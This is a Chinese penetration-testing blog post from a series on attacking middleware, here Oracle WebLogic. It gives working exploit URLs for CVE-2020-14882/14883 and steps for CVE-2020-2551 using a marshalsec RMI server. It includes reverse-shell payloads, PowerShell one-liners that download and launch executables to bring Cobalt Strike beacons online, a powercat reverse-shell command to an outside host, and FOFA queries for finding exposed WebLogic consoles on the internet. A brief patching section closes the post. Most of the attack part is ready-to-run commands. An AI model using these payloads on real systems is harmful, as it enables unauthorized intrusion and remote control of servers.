系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。
可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习Weblogic简介、Weblogic详细安装、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)、wls-wsat反序列化远程代码执行漏洞(CVE-2019-2725)、WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)漏洞等渗透操作等,最后远程代码执行控制服务器等操作,如果连Weblogic都不会安装操作提权等,怎么进行下一步的研究Weblogic安全!怎么拿下对方服务器?
二、WebLogic渗透攻防详解
1、Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/3)
1)漏洞简介
2020年10月30日,360CERT监测发现 Oracle 官方的 CVE-2020-14882 Weblogic 代码执行漏洞 最新补丁可被绕过,该漏洞编号为 CVE-2020-14882 ,漏洞等级: 严重 ,漏洞评分: 9.8 。
Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。
影响范围
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0
临时修补建议:
暂时对外关闭后台 /console/console.portal 的访问权限。
是CVE-2019-2725升级版!
2)CVE-2020-14883: 权限绕过漏洞
POC:
http://192.168.253.94:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
12的版本:
10的版本:
3)CVE-2020-14882: 代码执行漏洞
(1)远程执行代码创建文件poc
执行POC后,页面会显示404,但是执行成功:
http://192.168.253.7:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/dayu%27);%22);
可看到touch在tmp目录下创建好了dayu文件!
(2)反弹shell-linux-poc
远程执行poc.xml:
http://192.168.253.7:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.253.7:8001/poc-bash.xml")
可看到成功上线交互!!
(3)windows弹框calc-poc
http://192.168.253.97:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.253.7:8001/poc-calc.xml")
成功弹框!!远程下载CS免杀木马直接上线!
(4)上线CS
http://192.168.253.97:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.253.7:8001/poc-calc.xml")
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.253.7:8001/dayu1.exe','dayu1.exe');start-process dayu1.exe
高低版本测试都是成功上线CS!
2、IIOP反序列化漏洞 CVE-2020-2551
零基础学习:
https://xz.aliyun.com/t/7725
1)漏洞简介
2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。
漏洞分析:
通过 Oracle 官方发布的公告是可以看出该漏洞的主要是在核心组件中的,影响协议为 IIOP 。该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。
攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码。IIOP 协议以 Java 接口的形式对远程对象进行访问,默认启用。
漏洞影响:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
最后总结 10.3.6.0.0 或 12.1.3.0.0 版本测试成功 10.3.6.0.0 和 12.1.3.0.0,12.2.1.3.0 或 12.2.1.4.0 版本测试成功 12.2.1.3.0 和 12.2.1.4.0,我把这种情况分为了两大版本,10.3.6.0.0 和 12.1.3.0.0 为一个版本(低版本),12.2.1.3.0 和 12.2.1.4.0 为另外一个版本,所以完整的 POC 需要兼容俩个版本的验证,比较好一点的做法就是通过抓包然后将2个包的内容进行多次发送,或者在利用的前提得知 Weblogic 使用的操作版本,一般 weblogic 的版本会在 https?://host//console/login/LoginForm.jsp 页面会现实版本。
2)漫谈原理
巨详细原理:
https://paper.seebug.org/1149/#_4
3)漏洞复现POC
利用该四个文件!!
(1)exp.java如下,可以看到是调用了cmd.exe并执行了calc程序:
(2)安装javac环境
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
(3)编译exp.java
javac exp.java -source 1.6 -target 1.6
python -m SimpleHTTPServer 80
编译完成之后用python启动一个web服务,python3 -m http.server 80!
(4)然后使用marshalsec起一个恶意的RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.65/#exp" 1099
(5)开始利用
java -jar weblogic_CVE_2020_2551.jar 192.168.253.94 7001 rmi://192.168.253.65:1099/exp
经过测试,94IP(10.3.6)版本未成功!
97IP(12.1.3)版本复现成功!!
4)poc-上线CS
(1)修改java代码
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.253.65/dayu2.exe','dayu2.exe');start-process dayu2.exe
(2)编译exp.java
javac exp.java -source 1.6 -target 1.6
python -m SimpleHTTPServer 80
(3)RMI服务启动
然后使用marshalsec起一个恶意的RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.65/#exp" 1099
(4)上线CS
java -jar weblogic_CVE_2020_2551.jar 192.168.253.94 7001 rmi://192.168.253.65:1099/exp
成功上线!CS!!
(5)拓展小技巧
powershell直接上线:
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
IEX (New-Object System.Net.Webclient).DownloadString('http://www.naturali5r.cn/powercat.ps1'); powercat -c 192.168.121.1 -p 6666 -e cmd
5)安全防护
1、修改weblogic的默认端口号,weblogic的默认端口是7001,假若想修改为8080,在config.xml文件中的添加<listen-port>8080</listen-port>。
2、使用 Oracle 官方安全补丁进行更新修复。
Oracle Critical Patch Update Advisory – January 2020。
3、如果不依赖T3协议进行JVM通信,用户可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。
eblogic Server 提供了名为weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器,此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对t3及t3s协议进行访问控制,详细操作步骤如下:
进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置;
在连接筛选器中输入:security.net.ConnectionFilterImpl,在连接筛选器规则中配置符合实际情况的规则;
保存后若规则未生效,建议重新启动Weblogic服务(重启Weblogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。
3、2021.4月爆发Oracle WebLogic T3反序列化漏洞
盘点T3参考学习文章:
https://zhzhdoai.github.io/2020/08/10/Weblogic-T3反序列化历史漏洞-一/#CVE-2019-2890
https://www.secrss.com/articles/25852
三、实战思路详解
"weblogic"
app="Oracle-WebLogic-Server-管理控制台"
app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"
查找使用指定应用的IP:
app="Coremail" #查找使用Coremail的网站
app="BEA-WebLogic-Server" #查找使用Weblogic的网站
app="CCTV-Cameras" #查找使用九安视频监控的网站
http://x.x.x.x:8080/console/login/LoginForm.jsp
可看到存在漏洞的页面网站!这里实战不方面贴出原图,自行学习研究!
拓展查找使用指定协议的IP:
protocol=mysql #查找使用mysql的ip
protocol=mssql #查找使用mssql的ip
protocol=oracle #查找使用oracle的ip
protocol=redis #查找使用redis的ip
四、总结
今天学到了WebLogic Server 12.1.3详细安装、Weblogic 任意文件上传漏洞(CVE-2018-2894)、Weblogic SSRF漏洞(CVE-2014-4210)、Weblogic 弱口令 & 后台getshell、Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/3)、IIOP反序列化漏洞 CVE-2020-2551、实战思路详解等渗透操作,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(中)-> 服务攻防之中间件Weblogic(下)......
接下来在《服务攻防之中间件GlassFish(总)》会接触到如何进行GlassFish简介、GlassFish和GlassFish4.1.2详细安装、GlassFish Directory Traversal(CVE-2017-1000028)、GlassFish后台Getshell、实战GlassFish技巧等渗透操作,如何提权渗透等方法,请看下篇服务攻防之中间件GlassFish篇章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余